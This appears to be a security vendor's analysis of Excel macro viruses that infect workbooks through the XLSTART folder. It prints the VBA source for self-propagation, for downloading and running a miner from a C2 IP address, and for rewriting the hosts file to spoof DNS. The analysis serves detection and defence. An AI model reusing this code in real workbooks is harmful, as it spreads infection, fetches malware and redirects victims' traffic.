

# [Caution] Virus/XLS Xanpei Infecting Normal Excel Files

The ASEC analysis team has recently discovered the constant distribution of malware strains that spread the infection when Excel file is opened. Besides infecting normal Excel files, they can also perform additional malicious behaviors such as acting as a downloader and performing DNS Spoofing, therefore, users need to take great caution.

The common trait of the malware strains is to spread the virus through the VBA (Visual Basic for Applications) codes included in Excel files. Upon opening the infected Excel file, the file containing virus VBA code is dropped to Excel startup path. And when any Excel file is opened, the malicious file dropped in Excel startup path is automatically executed to infect with virus and perform additional malicious behaviors. After the infection, malicious behaviors such as Downloader or DNS Spoofing occurs depending on the malware type.

[1] Downloader Type Malware — MD5: f8886b0d734c5ddcccd2a0d57d383637 — Alias: Virus/X97M.Downloader

This Excel file is infected with virus, and as shown in the figure below, it has the VBA code defined for virus and additional malicious behaviors.



Figure 1. Malicious VBA code inside the file

The malicious code inside the file performs malicious activities by calling the “d2p” procedure for spreading malware and the “boosting” procedure including the Downloader logic in the Workbook\_Open() procedure that is automatically run when an event for viewing a workbook occurs.

```
Sub Workbook_Open( )
Call d2p
Call boosting
End Sub
```

```
Sub Workbook_Open( )
Call d2p
Call boosting
End Sub
```

Figure 2. Workbook\_Open of the malicious VBA code

The d2p procedure containing the logic for spreading virus creates an Excel file with the name “boosting.xls” to spread the infection in the Excel startup path (see Figure 3). When opening a random document, the malware dropped in the path “%AppData%\Microsoft\Excel\XLSTART\boosting.xls” is automatically executed and infects the Excel file that is currently being viewed, and performs malicious behaviors.

```
Private Sub d2p()
Dim pth As String
Dim WBstr$, Wb As Workbook
Application.DisplayAlerts = False
On Error Resume Next
pth = Application.StartupPath & "\boosting.xls"
Debug.Print ThisWorkbook.VBProject.VBComponents("ThisWorkbook")
If Err.Number = 1004 Then
Err.Clear
Application.SendKeys "Z(qtmstv)(ENTER)"
DoEvents
End If
If Dir(pth) = "" Then
Debug.Print ThisWorkbook.VBProject.VBComponents("ThisWorkbook")
If Err.Number <> 1004 Then
Workbooks.Add.SaveAs Filename:=pth, FileFormat:=18
Else
Workbooks.Close
End If
End If
Set Wb = Workbooks.Open(pth)
With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
For i = 1 To 100 '.CountOfLines 100
WBstr = WBstr & .Lines(i, 1) & Chr(10)
Next
End With
If ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines = 0 And ActiveWorkbook.Name = "boosting.xls" Then
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, WBstr
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 150, "Sub Workbook_Open()"
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 151, "Set App = Application"
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 152, "End Sub"
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 153, "Private Sub App_WorkbookOpen(ByVal Wb As Workbook)"
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 154, "Call runtime"
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 155, "Call boosting"
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 156, "End Sub"
End If
ActiveWorkbook.IsAddin = True
Wb.Save
Wb.Close
End If
Workbooks.Open (pth)
End Sub
```

```
Private Sub d2p()
Dim pth As String
Dim WBstr$, Wb As Workbook
Application.DisplayAlerts = False
On Error Resume Next
pth = Application.StartupPath & "\boosting.xls"
Debug.Print ThisWorkbook.VBProject.VBComponents("ThisWorkbook")
If Err.Number = 1004 Then
Err.Clear
Application.SendKeys "Z(qtmstv)(ENTER)"
DoEvents
End If
If Dir(pth) = "" Then
Debug.Print ThisWorkbook.VBProject.VBComponents("ThisWorkbook")
If Err.Number <> 1004 Then
Workbooks.Add.SaveAs Filename:=pth, FileFormat:=18
Else
Workbooks.Close
End If
End If
Set Wb = Workbooks.Open(pth)
With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
For i = 1 To 100 '.CountOfLines 100
WBstr = WBstr & .Lines(i, 1) & Chr(10)
Next
End With
If ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines = 0 And ActiveWorkbook.Name = "boosting.xls" Then
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, WBstr
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 150, "Sub Workbook_Open()"
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 151, "Set App = Application"
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 152, "End Sub"
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 153, "Private Sub App_WorkbookOpen(ByVal Wb As Workbook)"
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 154, "Call runtime"
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 155, "Call boosting"
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 156, "End Sub"
End If
ActiveWorkbook.IsAddin = True
Wb.Save
Wb.Close
End If
Workbooks.Open (pth)
End Sub
```

Figure 3. Code for spreading malware

As shown in Figure 4, the “boosting.xls” file spreads malware after a certain time has passed. When the infection spreads, the original code defined in the file is deleted. The code then defines codes for infection and additional malicious behaviors in the Workbook\_Open procedure of the Excel file.



```
Sub runtimee()  
Application.OnTime Now + TimeValue("00:00:03"), "thisworkbook.p2dd"  
End Sub  
  
Private Sub p2dd()  
Application.DisplayAlerts = False  
On Error Resume Next  
Debug.Print ThisWorkbook.VBProject.VBComponents("ThisWorkbook")  
If Err.Number = 1004 Then  
Err.Clear  
Application.SendKeys "{qtastv}{ENTER}"  
DoEvents  
End If  
If ActiveWorkbook.FileFormat = 52 Or ActiveWorkbook.FileFormat = 56 Then  
If ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.Find("update", 1, 1, 10, 1, False, False) = True Or ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeMo  
k = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines  
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.DeleteLines 1, k  
End If  
Dim WBstr$, WB As Workbook  
With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule  
For i = 1 To 100 : .CountOfLines  
WBstr = WBstr & .Lines(i, 1) & Chr(10)  
Next  
End With  
If ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines = 0 Then  
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, WBstr  
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 150, "Sub Workbook_Open()  
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 151, "Call d2p"  
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 152, "Call boosting"  
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 153, "End Sub"  
End If  
End If  
End Sub  
  
Sub runtimee()  
Application.OnTime Now + TimeValue("00:00:03"), "thisworkbook.p2dd"  
End Sub  
  
Private Sub p2dd()  
Application.DisplayAlerts = False  
On Error Resume Next  
Debug.Print ThisWorkbook.VBProject.VBComponents("ThisWorkbook")  
If Err.Number = 1004 Then  
Err.Clear  
Application.SendKeys "{qtastv}{ENTER}"  
DoEvents  
End If  
If ActiveWorkbook.FileFormat = 52 Or ActiveWorkbook.FileFormat = 56 Then  
If ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.Find("update", 1, 1, 10, 1, False, False) = True Or ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeMo  
k = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines  
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.DeleteLines 1, k  
End If  
Dim WBstr$, WB As Workbook  
With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule  
For i = 1 To 100 : .CountOfLines  
WBstr = WBstr & .Lines(i, 1) & Chr(10)  
Next  
End With  
If ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines = 0 Then  
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, WBstr  
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 150, "Sub Workbook_Open()  
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 151, "Call d2p"  
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 152, "Call boosting"  
ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 153, "End Sub"  
End If  
End If  
End Sub
```

Figure 4. Code for spreading virus

Downloader-type malware downloads and runs Miner-related executables from the C2 after infection (see Figure 5).

```
Sub boosting()  
Application.DisplayAlerts = False  
On Error Resume Next  
Set pro = GetObject("winmgmts:").instancesof("Win32_Process")  
boo = 0  
For Each ps In pro  
If ps.Name = "boosting.exe" Then boo = 1  
Next  
If boo = 1 Then  
Exit Sub  
Else  
oExec = CreateObject("Wscript.shell").Run("ping www.163.com -n 1", 0, True)  
If oExec = 0 Then  
URLDownloadToFile 0, "http://45.78.21.150/boost/boosting.exe", "C:\Windows\boosting.exe", 0, 0  
URLDownloadToFile 0, "http://45.78.21.150/boost/config.txt", "C:\Windows\config.txt", 0, 0  
End If  
ShellExecute 0, vbNullString, "C:\Windows\boosting.exe", "C:\Windows\config.txt", vbNullString, 0  
End If  
End Sub  
  
Sub boosting()  
Application.DisplayAlerts = False  
On Error Resume Next  
Set pro = GetObject("winmgmts:").instancesof("Win32_Process")  
boo = 0  
For Each ps In pro  
If ps.Name = "boosting.exe" Then boo = 1  
Next  
If boo = 1 Then  
Exit Sub  
Else  
oExec = CreateObject("Wscript.shell").Run("ping www.163.com -n 1", 0, True)  
If oExec = 0 Then  
URLDownloadToFile 0, "http://45.78.21.150/boost/boosting.exe", "C:\Windows\boosting.exe", 0, 0  
URLDownloadToFile 0, "http://45.78.21.150/boost/config.txt", "C:\Windows\config.txt", 0, 0  
End If  
ShellExecute 0, vbNullString, "C:\Windows\boosting.exe", "C:\Windows\config.txt", vbNullString, 0  
End If  
End Sub
```

Figure 5. Downloader feature

The C2 URLs for downloading are as follows: — hxxp://45.78.21.150/boost/boosting[.]exe — hxxp://45.78.21.150/boost/config[.]txt

Additionally, Excel virus strains of this type scan for the existence of the “%AppData%\Microsoft\Excel\XLSTART\boosting.xls” file. If the file does not exist, they spread virus and perform additional malicious behaviors. This means that if a dummy file with a 0-byte size exists in the path, malicious behaviors can be prevented in advance.

[2] DNS Spoofing Type Malware — MD5: 97841a3bf7fec57a2586552b05c0ec5 — Alias: Virus/MSExcel.Xanpei

This type also has a normal Excel file infected with virus with the VBA code for virus and additional malicious behaviors defined. Unlike the Downloader type that was mentioned earlier, this type has a different name for the malicious Excel file dropped at the Excel startup path (accerlate.xls). Also, instead of downloading files, it performs DNS Spoofing by changing the host file.

```
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private WithEvents App As Application
Sub OfficeCheck()
    Dim SysParh As String, Sysadd As String, t As String, sysadd1 As String
    SysParh = Space(256)
    GetSystemDirectory SysParh, 256
    SysParh = Trim(SysParh)
    SysParh = Left(SysParh, Len(SysParh) - 1)
    SysParh = SysParh & "\drivers\etc\hosts"
    Sysadd = "45.78.21.150 www.taobao.com"
    sysadd1 = "#45.78.21.150 www.taobao.com"
    If Dir(SysParh) <> "" Then
        Open SysParh For Input As #1
        t = Input(LOF(1), #1)
        Close #1
        If InStr(t, Sysadd) <> 0 Then

            t = Replace(t, sysadd1, Sysadd)
            t = Replace(t, "#45.78.21.150 www.taobao.com", "45.78.21.150 www.taobao.com")
            Print #1, t
            Close #1
        End If
        If InStr(t, Sysadd) = 0 Then
            Open SysParh For Append As #1
            Print #1, vbNewLine & Sysadd & vbNewLine & "45.78.21.150 www.taobao.com"
            Close #1
        End If
    End If
End Sub

Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private WithEvents App As Application
Sub OfficeCheck()
    Dim SysParh As String, Sysadd As String, t As String, sysadd1 As String
    SysParh = Space(256)
    GetSystemDirectory SysParh, 256
    SysParh = Trim(SysParh)
    SysParh = Left(SysParh, Len(SysParh) - 1)
    SysParh = SysParh & "\drivers\etc\hosts"
    Sysadd = "45.78.21.150 www.taobao.com"
    sysadd1 = "#45.78.21.150 www.taobao.com"
    If Dir(SysParh) <> "" Then
        Open SysParh For Input As #1
        t = Input(LOF(1), #1)
        Close #1
        If InStr(t, Sysadd) <> 0 Then

            t = Replace(t, sysadd1, Sysadd)
            t = Replace(t, "#45.78.21.150 www.taobao.com", "45.78.21.150 www.taobao.com")
            Print #1, t
            Close #1
        End If
        If InStr(t, Sysadd) = 0 Then
            Open SysParh For Append As #1
            Print #1, vbNewLine & Sysadd & vbNewLine & "45.78.21.150 www.taobao.com"
            Close #1
        End If
    End If
End Sub
```

Figure 6. DNS Spoofing feature

The DNS Spoofing C2 URL is as follows: — hxxp://45.78.21.150

AhnLab is detecting malicious document files and downloaded executables as shown below. Furthermore, AhnLab is using the ASD network to block the C2 URLs that malicious Excel file connects.

[File Detection] — Virus/XLS.Xanpei (2022.03.14.02) — Virus/X97M.Downloader (2018.12.11.07) — Virus/MSEExcel.Xanpei (2022.03.14.03) — Trojan/Win64.BitMiner (2017.11.13.03)

Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information.

Categories:[Malware Information](#)

Tagged as:[excel](#), [Excel file](#), [Excel Malware](#), [malware](#), [Virus](#)